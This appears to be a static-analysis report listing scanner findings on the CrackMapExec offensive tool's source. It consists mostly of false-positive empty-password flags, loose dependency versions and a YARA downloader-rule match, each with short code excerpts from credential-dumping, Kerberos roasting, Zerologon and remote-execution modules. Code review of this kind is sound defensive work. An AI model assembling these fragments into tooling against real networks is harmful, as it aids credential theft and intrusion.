73 context.log.success(f"Credentials Found for APPPOOL: {apppool_name}") 74 if password == "": 75 context.log.highlight(f"Username: {username} - User Does Not Have A Password") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/impersonate.py line 69
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
68 try: 69 if self.cmd == "" or self.token == "": 70 context.log.display(f"Listing available primary tokens") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/rdcman.py line 97
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
96 nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} 97 if password != "": 98 plaintexts[username] = password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/winscp_dump.py line 154
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
153 context.log.debug("Session found but no Password is stored!") 154 password = "" 155 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap.py line 348
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
347 348 if self.password == "" and self.args.asreproast: 349 hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap.py line 477
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
476 477 if self.password == "" and self.args.asreproast: 478 hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap.py line 706
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
705 answers = [] 706 if resp and self.password != "" and self.username != "": 707 for attribute in resp[0][1]: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap.py line 852
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
851 def asreproast(self): 852 if self.password == "" and self.nthash == "" and self.kerberos is False: 853 return False -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap.py line 1280
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
1279 sAMAccountName = "" 1280 passwd = "" 1281 for attribute in item["attributes"]: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap/kerberos.py line 137
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
136 # If no clear text password is provided, we just go with the defaults. 137 if self.password != "" and (self.lmhash == "" and self.nthash == ""): 138 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/rdp.py line 372
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
371 self.iosettings.supported_protocols = None 372 self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) 373 self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb.py line 402
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
401 else: 402 kerb_pass = "" 403 self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb.py line 1568
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
1567 nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.db.get_credentials(cred_type="hash")} 1568 if self.password != "": 1569 plaintexts[self.username] = self.password -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/firefox.py line 86
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
85 key = self.get_key(key4_data=key4_data) 86 if key is None and self.target.password != "": 87 key = self.get_key( -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/wmiexec.py line 63
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
62 if self.__password is None: 63 self.__password = "" 64 self.__dcom = DCOMConnection( -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ssh.py line 96
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
95 username=username, 96 passphrase=password if password != "" else None, 97 pkey=pkey, -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ssh.py line 105
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
104 username, 105 password if password != "" else "", 106 key=private_key, -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ssh.py line 114
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
113 username, 114 password if password != "" else "", 115 key=key_data, -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/vnc.py line 77
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
76 stype = asyauthSecret.PASS 77 if password == "": 78 stype = asyauthSecret.NONE -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/wmi.py line 209
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
208 209 if password == "": 210 if ntlm_hash.find(':') != -1: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/wmi.py line 223
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
222 if useCache: 223 if kerb_pass == "": 224 ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/wmi.py line 379
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
378 out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" 379 if self.username == "" and self.password == "": 380 out += "(Default allow anonymous login)" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap.py line 359
- Likely real
- Uncertain, 44% confidence
Possible hardcoded password: ''
358 else: 359 kerb_pass = "" 360 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/wmi.py line 220
- Likely real
- Uncertain, 44% confidence
Possible hardcoded password: ''
219 else: 220 kerb_pass = "" 221 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/smbexec.py line 65
- Likely real
- Uncertain, 44% confidence
Possible hardcoded password: ''
64 if self.__password is None: 65 self.__password = "" 66 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/samruser.py line 39
- Likely real
- Uncertain, 44% confidence
Possible hardcoded password: ''
38 if self.password is None: 39 self.password = "" 40 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/samrfunc.py line 38
- Likely real
- Uncertain, 44% confidence
Possible hardcoded password: ''
37 if self.password is None: 38 self.password = "" 39 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/passpol.py line 95
- Likely real
- Uncertain, 44% confidence
Possible hardcoded password: ''
94 if self.password is None: 95 self.password = "" 96 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/atexec.py line 51
- Likely real
- Uncertain, 44% confidence
Possible hardcoded password: ''
50 if self.__password is None: 51 self.__password = "" 52 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/rdp.py line 205
- Likely real
- Uncertain, 44% confidence
Possible hardcoded password: ''
204 else: 205 kerb_pass = "" 206 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/mssql.py line 176
- Likely real
- Uncertain, 44% confidence
Possible hardcoded password: ''
175 else: 176 kerb_pass = "" 177 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/ldap/kerberos.py line 49
- Likely real
- Uncertain, 44% confidence
Possible hardcoded password: ''
48 if self.password is None: 49 self.password = "" 50 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/connection.py line 359
- Likely real
- Uncertain, 44% confidence
Possible hardcoded password: ''
358 # Enforcing FQDN for SMB if not using local authentication. Related issues/PRs: #26, #28, #24, #38 359 if self.args.protocol == 'smb' and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and not (self.domain.upper() == self.hostname.upper()) : 360 self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /cme/protocols/winrm.py line 208
- Likely real
- Uncertain, 32% confidence
Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead.
res = requests.post(url, verify=False, timeout=self.args.http_timeout) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/helpers/powershell.py line 8
- Likely real
- Probably noise, 14% confidence
Consider possible security implications associated with the subprocess module.
7 from random import choice, sample 8 from subprocess import call 9 from cme.helpers.misc import which -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /build_collector.py line 6
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
5 import shutil 6 import subprocess 7 import sys -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 4% confidence
Loose version constraint: 'python-libnmap^0.7.3' — attacker could push malicious update
python-libnmap = ^0.7.3 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /build_collector.py line 37
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
36 37 subprocess.run( 38 [ 39 sys.executable, 40 "-m", 41 "pip", 42 "install", 43 "-e", 44 ".", 45 "-t", 46 "build", 47 ], 48 check=True, 49 ) 50 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'rich^13.3.5' — attacker could push malicious update
rich = ^13.3.5 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'requests>=2.27.1' — attacker could push malicious update
requests = >=2.27.1 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'beautifulsoup4>=4.11,<5' — attacker could push malicious update
beautifulsoup4 = >=4.11,<5 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'lsassy>=3.1.8' — attacker could push malicious update
lsassy = >=3.1.8 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'termcolor^1.1.0' — attacker could push malicious update
termcolor = ^1.1.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'neo4j^4.1.1' — attacker could push malicious update
neo4j = ^4.1.1 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'resource^0.2.1' — attacker could push malicious update
resource = ^0.2.1 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'pyasn1-modules^0.3.0' — attacker could push malicious update
pyasn1-modules = ^0.3.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'aiosqlite^0.18.0' — attacker could push malicious update
aiosqlite = ^0.18.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'sqlalchemy^2.0.4' — attacker could push malicious update
sqlalchemy = ^2.0.4 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'masky^0.2.0' — attacker could push malicious update
masky = ^0.2.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'bloodhound^1.6.1' — attacker could push malicious update
bloodhound = ^1.6.1 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'dploot^2.2.1' — attacker could push malicious update
dploot = ^2.2.1 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'aardwolf^0.2.7' — attacker could push malicious update
aardwolf = ^0.2.7 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'pypykatz^0.6.8' — attacker could push malicious update
pypykatz = ^0.6.8 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'minikerberos^0.4.0' — attacker could push malicious update
minikerberos = ^0.4.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'pywerview^0.3.3' — attacker could push malicious update
pywerview = ^0.3.3 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'aioconsole^0.3.3' — attacker could push malicious update
aioconsole = ^0.3.3 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'terminaltables^3.1.0' — attacker could push malicious update
terminaltables = ^3.1.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'xmltodict^0.12.0' — attacker could push malicious update
xmltodict = ^0.12.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'dsinternals^1.2.4' — attacker could push malicious update
dsinternals = ^1.2.4 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'paramiko^2.7.2' — attacker could push malicious update
paramiko = ^2.7.2 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'pypsrp^0.7.0' — attacker could push malicious update
pypsrp = ^0.7.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'pylnk3^0.4.2' — attacker could push malicious update
pylnk3 = ^0.4.2 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'msgpack^1.0.0' — attacker could push malicious update
msgpack = ^1.0.0 -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /cme/modules/empire_exec.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/wcc.py line 57
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
56 self.description = description 57 assert len(checkers) == len(checker_args) and len(checkers) == len(checker_kwargs) 58 self.checkers = checkers -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/zerologon.py line 95
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
94 # It worked! 95 assert server_auth["ErrorCode"] == 0 96 return True -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/firefox.py line 227
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
226 elif pbeAlgo == "1.2.840.113549.1.5.13": # pkcs5 pbes2 227 assert str(decoded_item[0][0][1][0][0]) == "1.2.840.113549.1.5.12" 228 assert str(decoded_item[0][0][1][0][1][3][0]) == "1.2.840.113549.2.9" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/firefox.py line 228
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
227 assert str(decoded_item[0][0][1][0][0]) == "1.2.840.113549.1.5.12" 228 assert str(decoded_item[0][0][1][0][1][3][0]) == "1.2.840.113549.2.9" 229 assert str(decoded_item[0][0][1][1][0]) == "2.16.840.1.101.3.4.1.42" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/firefox.py line 229
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
228 assert str(decoded_item[0][0][1][0][1][3][0]) == "1.2.840.113549.2.9" 229 assert str(decoded_item[0][0][1][1][0]) == "2.16.840.1.101.3.4.1.42" 230 # https://tools.ietf.org/html/rfc8018#page-23 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/smb/firefox.py line 234
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
233 key_length = int(decoded_item[0][0][1][0][1][2]) 234 assert key_length == 32 235
No findings match these filters.